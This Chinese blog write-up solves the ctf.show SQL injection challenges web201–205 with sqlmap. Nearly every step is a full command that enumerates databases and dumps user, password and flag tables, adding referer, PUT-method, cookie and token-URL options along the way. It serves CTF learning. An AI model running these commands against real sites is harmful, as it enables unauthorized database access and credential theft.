当前位置: 首页 > web >正文

CTF web入门之SQL注入使用工具sqlmap

详细说明:https://blog.csdn.net/qq_41701460/article/details/146391515

web201:
在这里插入图片描述
查看数据库 获取不到数据库信息

https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1

题目有提到 使用–user-agent 指定agent,因为对于 sqlmap 默认的 user-agent 会包含 sqlmap 关键字,很多时候我们会使用 --random-agent 来随机 ua 头。

题目要求还需要使用–referer 绕过referer检查,referer 就是请求来自哪里,这里我们的请求其实是来自题目的地址:

https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php

使用 sqlmap 指定一下:–batch 是帮助我们在执行过程中自动选择,-u 指定 URL

python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php --batch

在这里插入图片描述
检测出来是 mysql 数据库。注入点 布尔注入 时间注入 联合注入

追加参数 --dbs 查一下数据库名:

python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php --dbs --batch

在这里插入图片描述
存在名为 ctfshow_web 的数据库,使用 -D 指定这个库,–tables 指定查这个库下的所有表名:

python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php -D ctfshow_web  --tables --batch

在这里插入图片描述
表名为 ctfshow_user

使用 -T 参数指定这个表,–columns 查该表下所有的列名:

python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php -D ctfshow_web  -T ctfshow_user --columns --batch

在这里插入图片描述
看到相应的列名

使用 -C 指定列,–dump 转存数据,查具体字段信息:

 python3 sqlmap.py -u https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/api/?id=1 --referer https://9556eca3-d69a-40f4-b2a4-c89c2d2f8f12.challenge.ctf.show/sqlmap.php -D ctfshow_web  -T ctfshow_user -C pass,username  --dump --batch

在这里插入图片描述

web202:
在这里插入图片描述

上一题是 get 请求,这里使用 --data 指定参数进行 post 请求的注入:

--获取数据库
python3 sqlmap.py -u https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/api/ --data id=1 --referer https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/sqlmap.php --batch --dbs获取表
python3 sqlmap.py -u https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/api/ --data id=1 --referer https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables --batch获取列
python3 sqlmap.py -u https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/api/ --data id=1 --referer https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user --columns --batch获取值内容
python3 sqlmap.py -u https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/api/ --data id=1 --referer https://d733b520-a624-4a21-a246-f04482d66a54.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass,username -dump --batch

在这里插入图片描述

web203:
在这里插入图片描述
使用–method(提交方法) 调整sqlmap的请求方式:

需要加上–headers=“Content-Type: text/plain”,否则是按表单提交的,put接收不到,并且这里 api 后面需要加上 index.php,

python3 sqlmap.py -u https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/sqlmap.php --dbs --batch  --headers="Content-Type: text/plain"python3 sqlmap.py -u https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables --batch  --headers="Content-Type: text/plain"python3 sqlmap.py -u https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -columns --batch  --headers="Content-Type: text/plain"python3 sqlmap.py -u https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://2e7d5f6f-acda-43f9-bad8-c4e3849fb01d.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass,username --dump --batch  --headers="Content-Type: text/plain"

在这里插入图片描述

web204:同上 只是多了个cookie 拼接在后面就可以
在这里插入图片描述

python3 sqlmap.py -u  https://96885a6a-2ad5-4f8d-9f67-1d77d1cfc23f.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://96885a6a-2ad5-4f8d-9f67-1d77d1cfc23f.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass,username --dump --batch  --headers="Content-Type: text/plain"  --cookie="PHPSESSID=vmvdelhfvsfv8iem6aauhkcgco; ctfshow=f33ab871ce5fdbd9fcb76e2122a71933"

在这里插入图片描述
web205:
在这里插入图片描述
在这里插入图片描述
api调用需要鉴权发现在访问 index.php 前都会先访问 getToken.php

追加 --safe-url 参数设置在测试目标地址前访问的安全链接,将 url 设置为 api/getToken.php,再加上 --safe-preq=1 表示访问 api/getToken.php 一次

获取数据库
python3 sqlmap.py -u  https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php   --headers="Content-Type: text/plain"  --cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" --safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php" --safe-freq=1  --dbs  --batch说明:
请求地址:https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php 请求方法:--method="PUT" post提交方式 值为1--data id=1 来源:referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php请求头: --headers="Content-Type: text/plain"cookie值:--cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" 测试目标地址前访问的安全链接:--safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php"表示访问 api/getToken.php 一次:--safe-freq=1默认自动选择和判断:--batch获取表 新增了一个叫 ctfshow_flax 的表,查一下该表下的列名:
python3 sqlmap.py -u  https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php   --headers="Content-Type: text/plain"  --cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" --safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php" --safe-freq=1  -D ctfshow_web --tables  --batch  获取列
python3 sqlmap.py -u  https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php   --headers="Content-Type: text/plain"  --cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" --safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php" --safe-freq=1  -D ctfshow_web -T ctfshow_flax --columns  --batch获取内容:
python3 sqlmap.py -u  https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/index.php  --method="PUT"  --data id=1 --referer https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/sqlmap.php   --headers="Content-Type: text/plain"  --cookie="PHPSESSID=8694402nmvbl3lbq34n7lv1ejt" --safe-url="https://8b3a78ba-abc5-42fe-b20e-9c145731db29.challenge.ctf.show/api/getToken.php" --safe-freq=1  -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump  --batch

在这里插入图片描述

http://www.xdnf.cn/news/785.html

相关文章:

  • 网页下载的m3u8格式文件使用FFmpeg转为MP4
  • C#常用LINQ
  • 快速搭建 Cpolar 内网穿透(Mac 系统)
  • 嵌入式开发板调试方式完全指南:串口/SSH/Telnet及其他方式对比
  • 深度学习框架PyTorch——从入门到精通(3.3)YouTube系列——自动求导基础
  • 【每天一个知识点】主题建模(Topic Modeling)
  • 浙江大学DeepSeek 公开课 第三季 第1期讲座 - 马东方教授 (附PPT下载) by突破信息差
  • 【25软考网工笔记】第三章 局域网(1)CSMA/CD、二进制指数退避算法、最小帧长计算
  • 高品质性价比之王-特伦斯便携钢琴V10
  • 海外版高端Apple科技汽车共享投资理财系统
  • Spark-SQL编程
  • 【第十六届 蓝桥杯 省 C/Python A/Java C 登山】题解
  • 《Java工程师面试核心突破》专栏简介
  • Uniapp 自定义TabBar + 动态菜单实现教程(Vuex状态管理详解)
  • Docker如何更换镜像源提高拉取速度
  • 【Easylive】为什么需要手动转换 feign.Response 到 HttpServletResponse
  • Itext进行PDF的编辑开发
  • GPU高效利用率实战揭秘:蓝耘元生代VS传统云平台的降维打击
  • Spark,hadoop的组成
  • 大数据学习(109)-Impala 和 Hive 之间的 SQL 差异
  • FPGA 中 XSA、BIT 和 DCP 文件的区别
  • 【现代深度学习技术】循环神经网络05:循环神经网络的从零开始实现
  • 基于Arduino的ESP8266连接OneNET云平台(MQTT协议 物模型)(二)连接云平台
  • 头歌实训之SQL视图的定义与操纵
  • 平方根倒数快速算法
  • 深入理解React中的状态提升(Lifting State Up)
  • 聊透多线程编程-线程互斥与同步-13. C# Mutex类实现线程互斥
  • 级联vs端到端、全双工、轮次检测、方言语种、商业模式…语音 AI 开发者都在关心什么?丨Voice Agent 学习笔记
  • 模型的RAG
  • string类(详解)